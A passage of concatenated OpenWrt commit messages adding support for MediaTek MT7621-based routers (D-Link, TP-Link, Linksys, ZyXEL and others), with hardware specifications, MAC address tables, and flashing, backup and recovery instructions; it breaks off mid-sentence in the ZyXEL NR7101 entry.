This firmware should only be used for mobile devices (e.g. laptops), where
AP mode functionality is typically not used. This firmware supports a lot
of power saving offload functionality at the expense of AP mode support.
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Netgear Nighthawk AC2100 is another name of the Netgear R6700v2.
Signed-off-by: Dale Hui <strokes-races0b@icloud.com>
[adjust commit message/title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
With the various variants of Netgear R**** devices, make it more
obvious which image should be used for the R7200.
Signed-off-by: Dale Hui <strokes-races0b@icloud.com>
[provide proper commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Hardware
--------
MediaTek MT7621AT
16M SPI-NOR Macronix MX25L12835FMI
Microchip PD69104B1 4-Channel PoE-PSE controller
TI TPS2373 PoE-PD controller
PoE-Controller
--------------
By default, the PoE outputs do not work with OpenWrt. To make them output
power, install the "poemgr" package from the packages feed.
This package can control the PD69104B1 PSE controller.
Installation
------------
1. Connect to the booted device at 192.168.1.20 using username/password
"ubnt" via SSH.
2. Add the uboot-envtools configuration file /etc/fw_env.config with the
following content
$ echo "/dev/mtd1 0x0 0x1000 0x10000 1" > /etc/fw_env.config
3. Update the bootloader environment.
$ fw_setenv boot_openwrt "fdt addr \$(fdtcontroladdr);
fdt rm /signature; bootubnt"
$ fw_setenv bootcmd "run boot_openwrt"
4. Transfer the OpenWrt sysupgrade image to the device using SCP.
5. Check the mtd partition number for bs / kernel0 / kernel1
$ cat /proc/mtd
6. Set the bootselect flag to boot from kernel0
$ dd if=/dev/zero bs=1 count=1 of=/dev/mtdblock4
7. Write the OpenWrt sysupgrade image to both kernel0 as well as kernel1
$ dd if=openwrt.bin of=/dev/mtdblock6
$ dd if=openwrt.bin of=/dev/mtdblock7
8. Reboot the device. It should boot into OpenWrt.
Restore to UniFi
----------------
To restore the vendor firmware, follow the Ubiquiti UniFi TFTP
recovery guide for access points. The process is the same for
the Flex switch.
Signed-off-by: David Bauer <mail@david-bauer.net>
I-O DATA WN-DX2033GR is a 2.4/5 GHz band 11ac (Wi-Fi 5) router, based on
MT7621A.
Specification:
- SoC : MediaTek MT7621A
- RAM : DDR3 128 MiB
- Flash : Raw NAND 128 MiB (Macronix MX30LF1G18AC-TI)
- WLAN : 2.4/5 GHz
- 2.4 GHz : 2T2R, MediaTek MT7603E
- 5 GHz : 4T4R, MediaTek MT7615
- Ethernet : 5x 10/100/1000 Mbps
- Switch : MediaTek MT7530 (SoC)
- LEDs/Keys : 2x/3x (2x buttons, 1x slide-switch)
- UART : through-hole on PCB
- J5: 3.3V, TX, RX, NC, GND from triangle mark
- 57600n8
- Power : 12 VDC, 1 A
Flash instruction using initramfs image:
1. Boot WN-DX2033GR normally
2. Access to "http://192.168.0.1/" and open firmware update page
("ファームウェア")
3. Select the OpenWrt initramfs image and click update ("更新") button
to perform firmware update
4. On the initramfs image, download the sysupgrade.bin image to the
device and perform sysupgrade with it
5. Wait ~120 seconds to complete flashing
Notes:
- The hardware of WN-DX2033GR and WN-AX2033GR are almost the same, and
it is certified under the same radio-wave related regulations in Japan
- The last 0x80000 (512 KiB) in NAND flash is not used on stock firmware
- stock firmware requires "customized uImage header" (called as "combo
image") by MSTC (MitraStar Technology Corp.), but U-Boot doesn't
- uImage magic ( 0x0 - 0x3 ) : 0x434F4D42 ("COMB")
- header crc32 ( 0x4 - 0x7 ) : with "data length" and "data crc32"
- image name (0x20 - 0x37) : model ID and firmware versions
- data length (0x38 - 0x3b) : kernel + rootfs
- data crc32 (0x3c - 0x3f) : kernel + rootfs
- There are 2x important flags in the flash:
- bootnum : select os partition for booting (persist, 0x4)
- 0x01: firmware
- 0x02: firmware_2
- debugflag : allow interrupt kernel loader, it's named as "Z-LOADER"
(Factory, 0xFE75)
- 0x00: disable debug
- 0x01: enable debug
MAC addresses:
LAN : 50:41:B9:xx:xx:90 (Factory, 0xE000 (hex) / Ubootenv, ethaddr (text))
WAN : 50:41:B9:xx:xx:92 (Factory, 0xE006 (hex))
2.4 GHz : 50:41:B9:xx:xx:90 (Factory, 0x4 (hex))
5 GHz : 50:41:B9:xx:xx:91 (Factory, 0x8004 (hex))
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Add additional header information required for newer
bootloaders found on DIR-2660-A1 & A2.
Also remove the MTD splitter compatible from the second firmware
partition, as OpenWrt only supports handling of the first one.
Signed-off-by: Alan Luck <luckyhome2008@gmail.com>
[rephrase commit message, remove removal of read-only flags]
Signed-off-by: David Bauer <mail@david-bauer.net>
The Device/seama shared definition requires BLOCKSIZE, so it should
have a default value for this variable.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
* SoC: MT7621AT
* RAM: 256MB
* Flash: 128MB NAND flash
* WiFi: MT7615DN (2.4GHz+5Ghz) with DBDC
* LAN: 5x1000M
* Firmware layout is Uboot with extra 96 bytes in header
* Base PCB is DIR-1360 REV1.0
* LEDs Power Blue+Orange,Wan Blue+Orange,WPS Blue,"2.4G"Blue, "5G" Blue,
USB Blue
* Buttons Reset,WPS, Wifi
MAC addresses on OEM firmware:
lan factory 0xe000 f4:*:*:a8:*:65 (label)
wan factory 0xe006 f4:*:*:a8:*:68
2.4 GHz [not on flash] f6:*:*:c8:*:66
5.0 GHz factory 0x4 f4:*:*:a8:*:66
The increment of the 4th byte for the 2.4g address appears to vary.
Reported cases:
5g 2.4g increment
f4:XX:XX:a8:XX:66 f6:XX:XX:c8:XX:66 +0x20
x0:xx:xx:68:xx:xx x2:xx:xx:48:xx:xx -0x20
x4:xx:xx:6a:xx:xx x6:xx:xx:4a:xx:xx -0x20
Since increment is inconsistent and there is no obvious pattern
in swapping bytes, and the 2.4g address has local bit set anyway,
it seems safer to use the LAN address with flipped byte here in
order to prevent collisions between OpenWrt devices and OEM devices
for this interface. This way we at least use an address as base
that is definitely owned by the device at hand.
Flashing instruction:
The Dlink "Emergency Room" cannot be accessed through the reset
button on this device. You can either use console or use the
encrypted factory image availble in the openwrt forum.
Once the encrypted image is flashed throuh the stock Dlink web
interface, the sysupgrade images can be used.
Header pins needs to be soldered near the WPS and Wifi buttons.
The layout for the pins is (VCC,RX,TX,GND). No need to connect the VCC.
the settings are:
Bps/Par/Bits : 57600 8N1
Hardware Flow Control : No
Software Flow Control : No
Connect your client computer to LAN1 of the device
Set your client IP address manually to 192.168.0.101 / 255.255.255.0.
Call the recovery page or tftp for the device at http://192.168.0.1
Use the provided emergency web GUI to upload and flash a new firmware to
the device
At the time of adding support the wireless config needs to be set up by
editing the wireless config file:
* Setting the country code is mandatory, otherwise the router loses
connectivity at the next reboot. This is mandatory and can be done
from luci. After setting the country code the router boots correctly.
A reset with the reset button will fix the issue and the user has to
reconfigure.
* This is minor since the 5g interface does not come up online although
it is not set as disabled. 2 options here:
1- Either run the "wifi" command. Can be added from LUCI in system -
startup - local startup and just add wifi above "exit 0".
2- Or add the serialize option in the wireless config file as shown
below. This one would work and bring both interfaces automatically
at every boot:
config wifi-device 'radio0'
option serialize '1'
config wifi-device 'radio1'
option serialize '1'
Signed-off-by: Karim Dehouche <karimdplay@gmail.com>
[rebase, improve MAC table, update wireless config comment, fix
2.4g macaddr setup]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
- SoC: MT7621AT
- RAM: 256MB
- Flash: 128MB NAND
- Ethernet: 5 Gigabit ports
- WiFi: 2.4G/5G MT7615N
- USB: 1 USB 3.0, 1 USB 2.0
This device is very similar to the EA7300 v1/v2, EA7500 v2, and EA8100 v1.
Installation:
Upload the generated factory image through the factory web interface.
(following part taken from EA7300 v2 commit message:)
This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.
Reverting to factory firmware:
Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
your router simply flash the OEM image at this point.
With thanks to Tom Wizetek (@wizetek) for testing.
Signed-off-by: Tee Hao Wei <angelsl@in04.sg>
This PR adds support for router D-Link DIR-853-R1
Specifications:
SoC: MT7621AT
RAM: 128MB
Flash: 16MB SPI
WiFi: MT7615DN (2.4GHz+5Ghz) with DBDC (This mode allows this
single chip act as an 2x2 11n radio and an 2x2 11ac radio at the
same time)
LAN: 5x1000M
LEDs Power Blue+Orange,Wan Blue+Orange,WPS Blue,"2.4G"Blue, "5G" Blue
USB Blue
Buttons Reset,WPS, Wifi
MAC addresses:
|Interface | MAC | Factory |Comment
|------------|-----------------|-------------|----------------
|WAN sticker |C4:XX:XX:6E:XX:2A| |Sticker
|LAN |C4:XX:XX:6E:XX:2B| |
|Wifi (5g) |C4:XX:XX:6E:XX:2C|0x4 |
|Wifi (2.4g) |C6:XX:XX:7E:XX:2C| |
| | | |
| |C4:XX:XX:6E:XX:2E|0x8004 0xe000|
| |C4:XX:XX:6E:XX:2F|0xe006 |
The increment of the 4th byte for the 2.4g address appears to vary.
Reported cases:
5g 2.4g increment
C4:XX:XX:6E:XX:2C C6:XX:XX:7E:XX:2C 0x10
f4:XX:XX:16:XX:32 f6:XX:XX:36:XX:32 0x20
F4:XX:XX:A6:XX:E3 F6:XX:XX:B6:XX:E3 0x10
Since increment is inconsistent and there is no obvious pattern
in swapping bytes, and the 2.4g address has local bit set anyway,
it seems safer to use the LAN address with flipped byte here in
order to prevent collisions between OpenWrt devices and OEM devices
for this interface. This way we at least use an address as base
that is definitely owned by the device at hand.
Flashing instruction:
The Dlink "Emergency Room"
Connect your client computer to LAN1 of the device
Set your client IP address manually to 192.168.0.101 / 255.255.255.0.
Then, power down the router, press and hold the reset button, then
re-plug it. Keep the reset button pressed until the internet LED stops
flashing
Call the recovery page or tftp for the device at http://192.168.0.1
Use the provided emergency web GUI to upload and flash a new firmware to
the device.
Signed-off-by: Stas Fiduchi <fiduchi@protonmail.com>
[commit title/message improvements, use correct label MAC address,
calculate MAC addresses based on 0x4, minor DTS style fixes, add
uart2 to state_default, remove factory image, add 2.4g MAC address,
use partition DTSI, add macaddr comment in DTS]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
sysupgrade metadata is not flashed to the device, so check-size
should be called _before_ adding metadata to the image.
While at it, do some obvious wrapping improvements.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Paul Spooren <mail@aparcar.org>
Hardware
--------
MediaTek MT7621 SoC
256M DDR3
16MB BoHong SPI-NOR
MediaTek MT7905+7975 2x2T2R DBDC bgnax / acax
RGB LED
WPS + RESET Button
UART on compute module (silkscreened / 115200n8)
The router itself is just a board with Power / USB / RJ-45 connectors
and DC/DC converters. The SoC and WiFi components are on a
daughterboard which connect using two M.2 connectors.
The compute module has the model number "T-CB1800K-DM2 V02" printed on
it. The main baord has "T-MB5EU V01" printed on it. This information
might be useful, as it's highly likely either of these two will be
reused in similar designs.
The router itself is sold as Tenbay T-MB5EU directly from the OEM as
well as "KuWFI AX1800 Smart WiFi 6 Eouter" on Amazon.de for ~50€ in a
slightly different case.
Installation
------------
A Tool for creating a factory image for the Vendor Web Interface can be
found here: https://github.com/blocktrron/t-mb5eu-v01-factory-creator/
As the OEM Firmware is just a modified LEDE 17.01, you can also access
failsafe mode via UART while the OS boots, by connecting to UART
and pressing "f" when prompted. The Router is reachable at
192.168.1.1 via root without password.
Transfer the OpenWrt sysupgrade image via scp and apply with sysupgrade
using the -n and -F flags.
Alternatively, the board can be flashed by attaching to the UART
console, interrupting the boot process by keeping "0" pressed while
attaching power.
Serve the OpenWrt initramfs using a TFTP server with address
192.168.1.66. Rename the initramfs to ax1800.bin.
Attach your TFTP server to one of the LAN ports. Execute the following
commands.
$ setenv ipaddr 192.168.1.67
$ setenv serverip 192.168.1.66
$ tftpboot 0x84000000 ax1800.bin
$ bootm
Wait for the device to boot. Then transfer the OpenWrt sysupgrade image
to the device using SCP and apply sysupgrade.
Signed-off-by: David Bauer <mail@david-bauer.net>
* only add factory.bin when it's defined
* fix check-size vs. append-metadata
* whitespace/line break cleanup
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The patch adds support for the TP-Link Archer C6 v3 (FCC ID TE7A6V3)
The patch adds identification changes to the existing TP-Link Archer A6,
by Vinay Patil <post2vinay@gmail.com>, which has identical hardware.
Specification
-------------
MediaTek MT7621 SOC
RAM: 128MB DDR3
SPI Flash: W25Q128 (16MB)
Ethernet: MT7530 5x 1000Base-T
WiFi 5GHz: Mediatek MT7613BE
WiFi 2.4GHz: Mediatek MT7603E
UART/Serial: 115200 8n1
Device Configuration & Serial Port Pins
---------------------------------------
ETH Ports: LAN4 LAN3 LAN2 LAN1 WAN
_______________________
| |
Serial Pins: | VCC GND TXD RXD |
|_____________________|
LEDs: Power Wifi2G Wifi5G LAN WAN
Build Output
------------
The build will generate following set of files
[1] openwrt-ramips-mt7621-tplink_archer-c6-v3-initramfs-kernel.bin
[2] openwrt-ramips-mt7621-tplink_archer-c6-v3-squashfs-factory.bin
[3] openwrt-ramips-mt7621-tplink_archer-c6-v3-squashfs-sysupgrade.bin
How to Use - Flashing from TP-Link Web Interface
------------------------------------------------
* Go to "Advanced/System Tools/Firmware Update".
* Click "Browse" and upload the OpenWrt factory image: factory.bin[2]
* Click the "Upgrade" button, and select "Yes" when prompted.
TFTP Booting
------------
Setup a TFTP boot server with address 192.168.0.5.
While starting U-boot press '4' key to stop autoboot.
Copy the initramfs-kernel.bin[1] to TFTP server folder, rename as test.bin
From u-boot command prompt run tftpboot followed by bootm.
Recovery
--------
Archer A6 V3 has recovery page activated if SPI booting from flash fails.
Recovery page can be activated by powercycling the router four times
before the boot process is complete.
Note: TFTP boot can be activated only from u-boot serial console.
Device recovery address: 192.168.0.1
Signed-off-by: Amish Vishwakarma <vishwakarma.amish@gmail.com>
[fix indent]
Signed-off-by: David Bauer <mail@david-bauer.net>
The SERCOMM NA502 is a smart home gateway manufactured by SERCOMM and sold
under different brands (among others, A1 Telekom Austria SmartHome
Gateway). It has multi-protocol radio support in addition to LAN and WiFi.
Note: BLE is currently unsupported.
Specifications
--------------
- MT7621ST 880MHz, Single-Core, Dual-Thread
- MT7603EN 2.4GHz WiFi
- MT7662EN 5GHz WiFi + BLE
- 128MiB NAND
- 256MiB DDR3 RAM
- SD3503 ZWave Controller
- EM357 Zigbee Coordinator
MAC address assignment
----------------------
LAN MAC is read from the config partition, WiFi 2.4GHz is LAN+2 and matches
the OEM firmware. WiFi 5GHz with LAN+1 is an educated guess since the
OEM firmware does not enable 5GHz WiFi.
Installation
------------
Attach serial console, then boot the initramfs image via TFTP.
Once inside OpenWrt, run sysupgrade -n with the sysupgrade file.
Attention: The device has a dual-firmware design. We overwrite kernel2,
since kernel1 contains an automatic recovery image.
If you get NAND ECC errors and are stuck with bad eraseblocks, try to
erase the mtd partition first with
mtd unlock ubi
mtd erase ubi
This should only be needed once.
Signed-off-by: Andreas Böhler <dev@aboehler.at>
[use kiB for IMAGE_SIZE]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
- SoC: MT7621AT
- RAM: 256MB
- Flash: 128MB NAND
- Ethernet: 5 Gigabit ports
- WiFi: 2.4G/5G MT7615N
- USB: 1 USB 3.0, 1 USB 2.0
This device is very similar to the EA7300 v1/v2 and EA7500 v2.
Installation:
Upload the generated factory image through the factory web interface.
(following part taken from EA7300 v2 commit message:)
This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.
Reverting to factory firmware:
Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
your router simply flash the OEM image at this point.
With thanks to Leon Poon (@LeonPoon) for the initial bringup.
Signed-off-by: Tee Hao Wei <angelsl@in04.sg>
[add missing entry in 10_fix_wifi_mac]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Amped Wireless ALLY is a whole-home WiFi kit, with a router (model
ALLY-R1900K) and an Extender (model ALLY-00X19K). Both are devices are
11ac and based on MediaTek MT7621AT and MT7615N chips. The units are
nearly identical, except the Extender lacks a USB port and has a single
Ethernet port.
Specification:
- SoC: MediaTek MT7621AT (2C/4T) @ 880MHz
- RAM: 128MB DDR3 (Nanya NT5CC64M16GP-DI)
- FLASH: 128MB NAND (Winbond W29N01GVSIAA)
- WiFi: 2.4/5 GHz 4T4R
- 2.4GHz MediaTek MT7615N bgn
- 5GHz MediaTek MT7615N nac
- Switch: SoC integrated Gigabit Switch
- USB: 1x USB3 (Router only)
- BTN: Reset, WPS
- LED: single RGB
- UART: through-hole on PCB.
J1: pin1 (square pad, towards rear)=3.3V, pin2=RX,
pin3=GND, pin4=TX. Settings: 57600/8N1.
Note regarding dual system partitions
-------------------------------------
The vendor firmware and boot loader use a dual partition scheme. The boot
partition is decided by the bootImage U-boot environment variable: 0 for
the 1st partition, 1 for the 2nd.
OpenWrt does not support this scheme and will always use the first OS
partition. It will set bootImage to 0 during installation, making sure
the first partition is selected by the boot loader.
Also, because we can't be sure which partition is active to begin with, a
2-step flash process is used. We first flash an initramfs image, then
follow with a regular sysupgrade.
Installation:
Router (ALLY-R1900K)
1) Install the flashable initramfs image via the OEM web-interface.
(Alternatively, you can use the TFTP recovery method below.)
You can use WiFi or Ethernet.
The direct URL is: http://192.168.3.1/07_06_00_firmware.html
a. No login is needed, and you'll be in their setup wizard.
b. You might get a warning about not being connected to the Internet.
c. Towards the bottom of the page will be a section entitled "Or
Manually Upgrade Firmware from a File:" where you can manually choose
and upload a firmware file.
d: Click "Choose File", select the OpenWRT "initramfs" image and click
"Upload."
2) The Router will flash the OpenWrt initramfs image and reboot. After
booting, LuCI will be available on 192.168.1.1.
3) Log into LuCI as root; there is no password.
4) Optional (but recommended) is to backup the OEM firmware before
continuing; see process below.
5) Complete the Installation by flashing a full OpenWRT image. Note:
you may use the sysupgrade command line tool in lieu of the UI if
you prefer.
a. Choose System -> Backup/Flash Firmware.
b. Click "Flash Image..." under "Flash new firmware image"
c. Click "Browse..." and then select the sysupgrade file.
d. Click Upload to upload the sysupgrade file.
e. Important: uncheck "Keep settings and retain the current
configuration" for this initial installation.
f. Click "Continue" to flash the firmware.
g. The device will reboot and OpenWRT is installed.
Extender (ALLY-00X19K)
1) This device requires a TFTP recovery procedure to do an initial load
of OpenWRT. Start by configuring a computer as a TFTP client:
a. Install a TFTP client (server not necessary)
b. Configure an Ethernet interface to 192.168.1.x/24; don't use .1 or .6
c. Connect the Ethernet to the sole Ethernet port on the X19K.
2) Put the ALLY Extender in TFTP recovery mode.
a. Do this by pressing and holding the reset button on the bottom while
connecting the power.
b. As soon as the LED lights up green (roughly 2-3 seconds), release
the button.
3) Start the TFTP transfer of the Initramfs image from your setup machine.
For example, from Linux:
tftp -v -m binary 192.168.1.6 69 -c put initramfs.bin
4) The Extender will flash the OpenWrt initramfs image and reboot. After
booting, LuCI will be available on 192.168.1.1.
5) Log into LuCI as root; there is no password.
6) Optional (but recommended) is to backup the OEM firmware before
continuing; see process below.
7) Complete the Installation by flashing a full OpenWRT image. Note: you
may use the sysupgrade command line tool in lieu of the UI if you prefer.
a. Choose System -> Backup/Flash Firmware.
b. Click "Flash Image..." under "Flash new firmware image"
c. Click "Browse..." and then select the sysupgrade file.
d. Click Upload to upload the sysupgrade file.
e. Important: uncheck "Keep settings and retain the current
configuration" for this initial installation.
f. Click "Continue" to flash the firmware.
g. The device will reboot and OpenWRT is installed.
Backup the OEM Firmware:
-----------------------
There isn't any downloadable firmware for the ALLY devices on the Amped
Wireless web site. Reverting back to the OEM firmware is not possible
unless we have a backup of the original OEM firmware.
The OEM firmware may be stored on either /dev/mtd3 ("firmware") or
/dev/mtd6 ("oem"). We can't be sure which was overwritten with the
initramfs image, so backup both partitions to be safe.
1) Once logged into LuCI, navigate to System -> Backup/Flash Firmware.
2) Under "Save mtdblock contents," first select "firmware" and click
"Save mtdblock" to download the image.
3) Repeat the process, but select "oem" from the pull-down menu.
Revert to the OEM Firmware:
--------------------------
* U-boot TFTP:
Follow the TFTP recovery steps for the Extender, and use the
backup image.
* OpenWrt "Flash Firmware" interface:
Upload the backup image and select "Force update"
before continuing.
Signed-off-by: Jonathan Sturges <jsturges@redhat.com>
This submission relied heavily on the work of Linksys EA7300 v1/ v2.
Specifications:
* SoC: MediaTek MT7621A (880 MHz 2c/4t)
* RAM: 128M DDR3-1600
* Flash: 128M NAND
* Eth: MediaTek MT7621A (10/100/1000 Mbps x5)
* Radio: MT7603E/MT7613BE (2.4 GHz & 5 GHz)
* Antennae: 2 internal fixed in the casing and 2 on the PCB
* LEDs: Blue (x4 Ethernet)
Blue+Orange (x2 Power + WPS and Internet)
* Buttons: Reset (x1)
WPS (x1)
Installation:
Flash factory image through GUI.
This device has 2 partitions for the firmware called firmware and
alt_firmware. To successfully flash and boot the device, the device
should have been running from alt_firmware partition. To get the device
booted through alt_firmware partition, download the OEM firmware from
Linksys website and upgrade the firmware from web GUI. Once this is done,
flash the OpenWrt Factory firmware from web GUI.
Reverting to factory firmware:
1. Boot to 'alt_firmware'(where stock firmware resides) by doing one of
the following:
Press the "wps" button as soon as power LED turns on when booting.
(OR) Hard-reset the router consecutively three times to force it to
boot from 'alt_firmware'.
2. To remove any traces of OpenWRT from your router simply flash the OEM
image at this point.
Signed-off-by: Aashish Kulkarni <aashishkul@gmail.com>
[fix hanging indents and wrap to 74 characters per line,
add kmod-mt7663-firmware-sta package for 5GHz STA mode to work,
remove sysupgrade.bin and concatenate IMAGES instead in mt7621.mk,
set default-state "on" for power LED]
Signed-off-by: Sannihith Kinnera <digislayer@protonmail.com>
[move check-size before append-metadata, remove trailing whitespace]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications
SoC: MT7621
CPU: 880 MHz
Flash: 16 MiB
RAM: 128 MiB
WLAN: 2.4 GHz b/g/n, 5 GHz a/n/ac
MT7603E / MT7615E
Ethernet: 5x Gbit ports
Installation
There are two known options:
1) The Luci-based UI.
2) Press and hold the reset button during power up.
The router will request 'recovery.bin' from a TFTP server at
192.168.1.88.
Both options require a signed firmware binary.
The openwrt image supplied by cudy is signed and can be used to
install unsigned images.
R4 & R5 need to be shorted (0-100Ω) for the UART to work.
Signed-off-by: Leon M. George <leon@georgemail.eu>
[remove non-required switch-port node - remove trgmii phy-mode]
Signed-off-by: David Bauer <mail@david-bauer.net>
This patch adds support for TP-Link Archer C6U v1 (EU).
The device is also known in some market as Archer C6 v3.
This patch supports only Archer C6U v1 (EU).
Specifications:
--------------
* SoC: Mediatek MT7621AT 2C2T, 880MHz
* RAM: 128MB DDR3
* Flash: 16MB SPI NOR flash (Winbond 25Q128)
* WiFi 5GHz: Mediatek MT7613BEN (2x2:2)
* WiFi 2.4GHz: Mediatek MT7603EN (2x2:2)
* Ethernet: MT7630, 5x 1000Base-T.
* LED: Power, WAN, LAN, WiFi 2GHz and 5GHz, USB
* Buttons: Reset, WPS.
* UART: Serial console (115200 8n1), J1(GND:3)
* USB: One USB2 port.
Installation:
------------
Install the OpenWrt factory image for C6U is from the
TP-Link web interface.
1) Go to "Advanced/System Tools/Firmware Update".
2) Click "Browse" and upload the OpenWrt factory image:
openwrt-ramips-mt7621-tplink_archer-c6u-v1-squashfs-factory.bin.
3) Click the "Upgrade" button, and select "Yes" when prompted.
Recovery to stock firmware:
--------------------------
The C6U bootloader has a failsafe mode that provides a web
interface (running at 192.168.0.1) for reverting back to the
stock TP-Link firmware. The failsafe interface is triggered
from the serial console or on failed kernel boot. Unfortunately,
there's no key combination that enables the failsafe mode. This
gives us two options for recovery:
1) Recover using the serial console (J1 header).
The recovery interface can be selected by hitting 'x' when
prompted on boot.
2) Trigger the bootloader failsafe mode.
A more dangerous option is force the bootloader into
recovery mode by erasing the OpenWrt partition from the
OpenWrt's shell - e.g "mtd erase firmware". Please be
careful, since erasing the wrong partition can brick
your device.
MAC addresses:
-------------
OEM firmware configuration:
D8:07:B6:xx:xx:83 : 5G
D8:07:B6:xx:xx:84 : LAN (label)
D8:07:B6:xx:xx:84 : 2.4G
D8:07:B6:xx:xx:85 : WAN
Signed-off-by: Georgi Vlaev <georgi.vlaev@konsulko.com>
The patch adds support for the TP-Link Archer A6 v3
The router is sold in US and India with FCC ID TE7A6V3
Specification
-------------
MediaTek MT7621 SOC
RAM: 128MB DDR3
SPI Flash: W25Q128 (16MB)
Ethernet: MT7530 5x 1000Base-T
WiFi 5GHz: Mediatek MT7613BE
WiFi 2.4GHz: Mediatek MT7603E
UART/Serial: 115200 8n1
Device Configuration & Serial Port Pins
---------------------------------------
ETH Ports: LAN4 LAN3 LAN2 LAN1 WAN
_______________________
| |
Serial Pins: | VCC GND TXD RXD |
|_____________________|
LEDs: Power Wifi2G Wifi5G LAN WAN
Build Output
------------
The build will generate following set of files
[1] openwrt-ramips-mt7621-tplink_archer-a6-v3-initramfs-kernel.bin
[2] openwrt-ramips-mt7621-tplink_archer-a6-v3-squashfs-factory.bin
[3] openwrt-ramips-mt7621-tplink_archer-a6-v3-squashfs-sysupgrade.bin
How to Use - Flashing from TP-Link Web Interface
------------------------------------------------
* Go to "Advanced/System Tools/Firmware Update".
* Click "Browse" and upload the OpenWrt factory image: factory.bin[2]
* Click the "Upgrade" button, and select "Yes" when prompted.
TFTP Booting
------------
Setup a TFTP boot server with address 192.168.0.5.
While starting U-boot press '4' key to stop autoboot.
Copy the initramfs-kernel.bin[1] to TFTP server folder, rename as test.bin
From u-boot command prompt run tftpboot followed by bootm.
Recovery
--------
Archer A6 V3 has recovery page activated if SPI booting from flash fails.
Recovery page can be activated from serial console only.
Press 'x' while u-boot is starting
Note: TFTP boot can be activated only from u-boot serial console.
Device recovery address: 192.168.0.1
Thanks to: Frankis for Randmon MAC address fix.
Signed-off-by: Vinay Patil <post2vinay@gmail.com>
[remove superfluous factory image definition, whitespacing]
Signed-off-by: David Bauer <mail@david-bauer.net>
Vendor firmware expects model name without manufacturer name inside
'supported_devices' part of metadata. This allows direct upgrade to
OpenWrt from vendor's GUI.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
Before this commit, it was assumed that mkhash is in the PATH. While
this was fine for the normal build workflow, this led to some issues if
make TOPDIR="$(pwd)" -C "$pkgdir" compile
was called manually. In most of the cases, I just saw warnings like this:
make: Entering directory '/home/.../package/gluon-status-page'
bash: line 1: mkhash: command not found
bash: line 1: mkhash: command not found
bash: line 1: mkhash: command not found
bash: line 1: mkhash: command not found
bash: line 1: mkhash: command not found
bash: line 1: mkhash: command not found
bash: line 1: mkhash: command not found
bash: line 1: mkhash: command not found
[...]
While these were only warnings and the package still compiled sucessfully,
I also observed that some package even fail to build because of this.
After applying this commit, the variable $(MKHASH) is introduced. This
variable points to $(STAGING_DIR_HOST)/bin/mkhash, which is always the
correct path.
Signed-off-by: Leonardo Mörlein <me@irrelefant.net>
The ZyXEL NR7101 is an 802.3at PoE powered 5G outdoor (IP68) CPE
with integrated directional 5G/LTE antennas.
Specifications:
- SoC: MediaTek MT7621AT
- RAM: 256 MB
- Flash: 128 MB MB NAND (MX30LF1G18AC)
- WiFi: MediaTek MT7603E
- Switch: 1 LAN port (Gigabiti)
- 5G/LTE: Quectel RG502Q-EA connected by USB3 to SoC
- SIM: 2 micro-SIM slots under transparent cover
- Buttons: Reset, WLAN under same cover
- LEDs: Multicolour green/red/yellow under same cover (visible)
- Power: 802.3at PoE via LAN port
The device is built as an outdoor ethernet to 5G/LTE bridge or
router. The Wifi interface is intended for installation and/or
temporary management purposes only.
UART Serial:
57600N1
Located on populated 5 pin header J5:
[o] GND
[ ] key - no pin
[o] RX
[o] TX
[o] 3.3V Vcc
Remove the SIM/button/LED cover, the WLAN button and 12 screws
holding the back plate and antenna cover together. The GPS antenna
is fixed to the cover, so be careful with the cable. Remove 4
screws fixing the antenna board to the main board, again being
careful with the cables.
A bluetooth TTL adapter is recommended for permanent console
access, to keep the router water and dustproof. The 3.3V pin is
able to power such an adapter.
MAC addresses:
OpenWrt OEM Address Found as
lan eth2 08:26:97:*:*:BC Factory 0xe000 (hex), label
wlan0 ra0 08:26:97:*:*:BD Factory 0x4 (hex)
wwan0 usb0 random
WARNING!!
ISP managed firmware might at any time update itself to a version
where all known workarounds have been disabled. Never boot an ISP
managed firmware with a SIM in any of the slots if you intend to use
the router with OpenWrt. The bootloader lock can only be disabled with
root access to running firmware. The flash chip is physically
inaccessible without soldering.
Installation from OEM web GUI:
- Log in as "supervisor" on https://172.17.1.1/
- Upload OpenWrt initramfs-recovery.bin image on the
Maintenance -> Firmware page
- Wait for OpenWrt to boot and ssh to root@192.168.1.1
- (optional) Copy OpenWrt to the recovery partition. See below
- Sysupgrade to the OpenWrt sysupgrade image and reboot
Installation from OEM ssh:
- Log in as "root" on 172.17.1.1 port 22022
- scp OpenWrt initramfs-recovery.bin image to 172.17.1.1:/tmp
- Prepare bootloader config by running:
nvram setro uboot DebugFlag 0x1
nvram setro uboot CheckBypass 0
nvram commit
- Run "mtd_write -w write initramfs-recovery.bin Kernel" and reboot
- Wait for OpenWrt to boot and ssh to root@192.168.1.1
- (optional) Copy OpenWrt to the recovery partition. See below
- Sysupgrade to the OpenWrt sysupgrade image and reboot
Copying OpenWrt to the recovery partition:
- Verify that you are running a working OpenWrt recovery image
from flash
- ssh to root@192.168.1.1 and run:
fw_setenv CheckBypass 0
mtd -r erase Kernel2
- Wait while the bootloader mirrors Image1 to Image2
NOTE: This should only be done after successfully booting the OpenWrt
recovery image from the primary partition during installation. Do
